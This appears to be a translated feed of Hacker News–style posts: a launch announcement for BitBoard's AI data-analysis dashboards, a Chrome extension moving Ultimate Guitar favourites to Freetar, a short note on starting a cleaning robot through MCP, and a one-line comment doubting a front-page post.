最新

这显然看起来有些可疑，很可能是一个骗局，为什么它会出现在第一页？

我们是来自 BitBoard (https://bitboard.work) 的 Connor 和 Ambar。BitBoard 是一个智能分析工作空间，我们提供基础设施和可视化层，让您能够利用 AI 进行数据分析。 今天，我们推出了仪表板，您和您的智能体可以协同工作。您可以将您的编码智能体或 AI 聊天连接到 BitBoard，构建实时报告。演示视频：https://www.youtube.com/watch?v=HPl0K565a7c。 AI 工具将数据分析视为一次性任务，难以报告或协作。传统的 BI 工具并非为 AI 用户设计，因此它们只能附加聊天机器人，无法为您的智能体提供有意义的控制。如今的软件能够比 BI 工具更深入地理解业务，但无论是传统 BI 还是聊天机器人，都无法处理这一点。 我们最初的产品是用于医疗保健行政任务的 AI 智能体 (https://news.ycombinator.com/item?id=44237769)，但客户不断将我们引向他们的数据分析问题：分散在不同来源的查询，到处都是电子表格。我们不断构建解决这些问题的工具，最终这些工具成为了我们的产品。 我们遇到了一些问题。智能体由于缺乏业务背景而做出错误的推断。由于没有任何机制来检查它们的工作，因此无法信任它们做出决策。而且，一个智能体或一个人发现的任何东西对其他人来说都是不可见的。在 BitBoard 中，人类和智能体与相同的数据原语进行交互，但获得的是为各自工作设计的工具。 我们正在构建仪表板，以改善人类的阅读体验。这些仪表板会逐步利用智能——从代码或 SQL 查询开始，最终发展为完整的嵌入式应用程序。人类和智能体需要就解释数据的方法达成一致，因此我们允许两者都为规范来源、实体和度量（使用您喜欢的语义模型或我们的模型）做出贡献。每一个答案都附带出处，并且相同的调用和相同的参数会返回相同的结果。 展望未来，这些共享的原语将使长期运行的智能体能够在企业内部运行，我们也在构建这些智能体。智能体需要一个可衡量的目标以及验证其工作的方法。BitBoard 为它提供了这两者。智能体接收诸如指标漂移或漏斗泄漏等问题，并找出下一步该做什么。它的工作成果将是团队可以观察和批准的数据集、仪表板和追踪记录。 从技术上讲，我们正在构建一个协作引擎，为人类和 AI 提供同构更新，支持列式分析（我们使用 DuckDB 和 Apache Arrow），提供基础和验证基础设施，并通过智能体容器和追踪记录实现长期任务。对于智能体工作，我们非常赞成利用 LLM 的判断来发现问题，然后生成确定性软件来自动化它们。 请在 https://app.bitboard.work 上进行尝试。（我们需要您的电子邮件来设置您的账户）。 我们对数据分析和科学在 LLM 时代的变化感到兴奋，并欢迎您的所有想法！

我对 Ultimate Guitar 越来越感到沮丧，甚至开始尝试自己制作一个版本。令我惊喜的是，我发现了 Freetar（<a href="https://github.com/kmille/freetar" rel="nofollow">https://github.com/kmille/freetar</a>），它是 Ultimate Guitar 的一个替代前端。将其添加到手机上作为 PWA 后，我 99% 的问题立刻得到了解决。 既然我已经准备好要构建一些东西，我转而制作了一个简单的 Chrome 扩展程序，用于将我所有的收藏夹迁移到 Freetar。 希望这能为其他人省去使用 Ultimate Guitar 的烦恼。 免责声明：我与 Freetar 无关。

这没什么特别的，但通过 MCP 远程启动清洁工作感觉非常好。我正朝着真正智能家居的目标努力，而这朝着正确的方向迈出了有益的一步。